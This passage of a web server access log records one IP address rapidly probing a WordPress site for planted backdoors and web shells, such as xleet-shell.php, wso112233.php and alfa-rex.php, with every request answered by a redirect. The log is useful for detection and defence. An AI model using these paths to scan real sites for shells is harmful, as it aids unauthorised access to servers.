Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:37:16 -0400] "GET /fwe.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 84.17.35.82 - - [27/Apr/2025:19:37:16 -0400] "GET /wp-content/11.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:37:16 -0400] "GET /.well-known/class.api.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:37:16 -0400] "GET /.well-known/pki-validation/class.api.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:37:17 -0400] "GET /wp-content/class.api.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:37:17 -0400] "GET /.tmb/class.api.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:37:17 -0400] "GET /images/class.api.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 84.17.35.82 - - [27/Apr/2025:19:37:17 -0400] "GET /wp-content/uploads/class.api.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:37:17 -0400] "GET /.well-known/acme-challenge/class.api.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 84.17.35.82 - - [27/Apr/2025:19:37:17 -0400] "GET /wp-includes/class.api.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 84.17.35.82 - - [27/Apr/2025:19:37:17 -0400] "GET /wp-content/json.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 84.17.35.82 - - [27/Apr/2025:19:37:17 -0400] "GET /wp-content/uploads/json.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:37:17 -0400] "GET /wp-content/themes/freeyanz/config.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 84.17.35.82 - - [27/Apr/2025:19:37:17 -0400] "GET /wp-content/themes/erapress/config.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 84.17.35.82 - - [27/Apr/2025:19:37:18 -0400] "GET /wp-content/plugins/doyanz/config.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:37:18 -0400] "GET /wp-content/themes/panama/json.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:37:18 -0400] "GET /wp-content/themes/moog/config.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:37:18 -0400] "GET /wp-content/uploads/2023/11/config.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:37:18 -0400] "GET /wp-content/uploads/2023/12/config.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 84.17.35.82 - - [27/Apr/2025:19:37:18 -0400] "GET /wp-content/themes/blogai/issue.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:37:18 -0400] "GET /wp-content/themes/agwin/config.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:37:18 -0400] "GET /wp-content/themes/quext/config.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:37:19 -0400] "GET /wp-content/plugins/app-calendar/config.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:37:19 -0400] "GET /wp-content/smm.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:37:19 -0400] "GET /jetpack.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 84.17.35.82 - - [27/Apr/2025:19:37:19 -0400] "GET /xltavrat.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 84.17.35.82 - - [27/Apr/2025:19:37:19 -0400] "GET /.wp-back.phP HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:37:19 -0400] "GET /wp-admin/fw.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 84.17.35.82 - - [27/Apr/2025:19:37:19 -0400] "GET /wp-content/fw.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:37:19 -0400] "GET /wp-commentin.php?pass=f0aab4595a024d626315fb786dce8282 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 84.17.35.82 - - [27/Apr/2025:19:37:19 -0400] "GET /.well-known/pki-validation/atomlib.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 84.17.35.82 - - [27/Apr/2025:19:37:20 -0400] "GET /wp-includes/sodium_compat/src/Core32/Curve25519/Ge/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 84.17.35.82 - - [27/Apr/2025:19:37:20 -0400] "GET /libraries/fof/database/iterator/xmrlpc.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:37:20 -0400] "GET /wp-content/data-db.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 84.17.35.82 - - [27/Apr/2025:19:37:20 -0400] "GET /components/com_newsfeeds/models/indexx.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 84.17.35.82 - - [27/Apr/2025:19:37:20 -0400] "GET /plugins/finder/categories/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 84.17.35.82 - - [27/Apr/2025:19:37:20 -0400] "GET /updates.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 84.17.35.82 - - [27/Apr/2025:19:37:20 -0400] "GET /thanks.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 84.17.35.82 - - [27/Apr/2025:19:37:20 -0400] "GET /wp-content/themes/finley/min.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 84.17.35.82 - - [27/Apr/2025:19:37:20 -0400] "GET /wp-content/themes/mero-megazines/ws.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 84.17.35.82 - - [27/Apr/2025:19:37:20 -0400] "GET /wp-content/themes/welfare-charity/www.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 84.17.35.82 - - [27/Apr/2025:19:37:21 -0400] "GET /wp-admin/xl2023.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 84.17.35.82 - - [27/Apr/2025:19:37:21 -0400] "GET /wp-content/xl2023.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:37:21 -0400] "GET /wp-includes/xl2023.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:37:21 -0400] "GET /wp-content/themes/applica/400.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:37:21 -0400] "GET /wp-includes/sitemaps/providers/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:37:21 -0400] "GET /xleet-shell.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 84.17.35.82 - - [27/Apr/2025:19:37:21 -0400] "GET /wp-admin/xleet-shell.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:37:21 -0400] "GET /wp-content/xleet-shell.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 84.17.35.82 - - [27/Apr/2025:19:37:21 -0400] "GET /wp-includes/xleet-shell.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 84.17.35.82 - - [27/Apr/2025:19:37:21 -0400] "GET /wp-admin/wso112233.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:37:22 -0400] "GET /wp-content/wso112233.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:37:22 -0400] "GET /wp-admin/shell20211028.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 84.17.35.82 - - [27/Apr/2025:19:37:22 -0400] "GET /wp-content/plugins/seoplugins/db.php?u HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 84.17.35.82 - - [27/Apr/2025:19:37:22 -0400] "GET /wp-content/plugins/wordpress-three/miin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:37:22 -0400] "GET /wp-content/plugins/column/miin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:37:22 -0400] "GET /wp-content/plugins/hellopress/wp_mna.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:37:22 -0400] "GET /wp-content/plugins/hellopress/wp_filemanager.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 84.17.35.82 - - [27/Apr/2025:19:37:22 -0400] "GET /wp-content/plugins/hellopress/0xlufix2023.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 84.17.35.82 - - [27/Apr/2025:19:37:22 -0400] "GET /wp-confiig.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:37:23 -0400] "GET /wp_wrong_datlib.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:37:23 -0400] "GET /loger.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:37:23 -0400] "GET /gank.php.PhP HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:37:23 -0400] "GET /wikindex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:37:23 -0400] "GET /wp.php?Chitoge HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:37:23 -0400] "GET /sym403.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:37:23 -0400] "GET /wp-content/plugins/w0rdpr3ssnew/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:37:23 -0400] "GET /database.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 84.17.35.82 - - [27/Apr/2025:19:37:24 -0400] "GET /wp-content/plugins/xwp/up.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 84.17.35.82 - - [27/Apr/2025:19:37:24 -0400] "GET /wp-content/plugins/anttt/simple.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 84.17.35.82 - - [27/Apr/2025:19:37:24 -0400] "GET /wp-content/plugins/instabuilder2/cache/plugins/moon.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:37:24 -0400] "GET /wp-content/plugins/instabuilder2/cache/up.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:37:24 -0400] "GET /wp-content/plugins/wordpresss3cll/up.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:37:24 -0400] "GET /wp-content/plugins/wpyii2/wpyii2.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:37:24 -0400] "GET /wp-content/plugins/wpputty/wpputty.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:37:24 -0400] "GET /wp-content/plugins/dos2unix/dos2unix.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 84.17.35.82 - - [27/Apr/2025:19:37:24 -0400] "GET /wp-includes/sitemaps/providers/alfa-rex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:37:24 -0400] "GET /wp-includes/PHPMailer/alfa-rex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:37:25 -0400] "GET /wp-admin/maint/alfa-rex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 84.17.35.82 - - [27/Apr/2025:19:37:25 -0400] "GET /wp-includes/IXR/alfa-rex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 84.17.35.82 - - [27/Apr/2025:19:37:25 -0400] "GET /wp-includes/images/crystal/alfa-rex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:37:25 -0400] "GET /wp-admin/css/colors/blue/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:37:25 -0400] "GET /wp-admin/css/colors/ocean/alfa-rex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 84.17.35.82 - - [27/Apr/2025:19:37:25 -0400] "GET /wp-admin/css/colors/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:37:25 -0400] "GET /wp-admin/maint/webdb.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:37:25 -0400] "GET /wsoyanzfv3.phP8 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:37:25 -0400] "GET /wp-content/plugins/shell/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 84.17.35.82 - - [27/Apr/2025:19:37:25 -0400] "GET /wp-admin/css/acces.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 84.17.35.82 - - [27/Apr/2025:19:37:26 -0400] "GET /wp-includes/css/str_replace.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:37:26 -0400] "GET /wp-admin/css/colors/midnight/strcmp.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 84.17.35.82 - - [27/Apr/2025:19:37:26 -0400] "GET /wp-admin/includes/sts.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:37:26 -0400] "GET /wp-includes/uploads.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 84.17.35.82 - - [27/Apr/2025:19:37:26 -0400] "GET /wp-includes/images/crystal/option.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:37:26 -0400] "GET /wp-admin/maint/maint.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 84.17.35.82 - - [27/Apr/2025:19:37:26 -0400] "GET /wp-admin/images/html.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 84.17.35.82 - - [27/Apr/2025:19:37:26 -0400] "GET /wp-includes/server.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:37:26 -0400] "GET /wp-admin/images/APLpewO.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 84.17.35.82 - - [27/Apr/2025:19:37:26 -0400] "GET /wp-admin/js/html.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:37:27 -0400] "GET /wp-admin/images/upfile.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 84.17.35.82 - - [27/Apr/2025:19:37:27 -0400] "GET /wp-admin/css/colors/blue/ovairezah.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:37:27 -0400] "GET /wp-includes/pomo/xml.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:37:27 -0400] "GET /wp-includes/fonts/send.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 84.17.35.82 - - [27/Apr/2025:19:37:27 -0400] "GET /uploads/gecko.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:37:27 -0400] "GET /wp-content/uploads/2024/09/sst.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 84.17.35.82 - - [27/Apr/2025:19:37:27 -0400] "GET /wp-admin/css/colors/midnight/fxtell.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:37:27 -0400] "GET /files/mailer.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:37:28 -0400] "GET /images/pushy.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:37:28 -0400] "GET /wp-admin/css/colors/midnight/contact.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 84.17.35.82 - - [27/Apr/2025:19:37:28 -0400] "GET /wp-admin/includes/lmfi.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:37:28 -0400] "GET /wp-content/uploads/zi_whatisit___bea.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 84.17.35.82 - - [27/Apr/2025:19:37:28 -0400] "GET /wp-includes/wp-mail.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 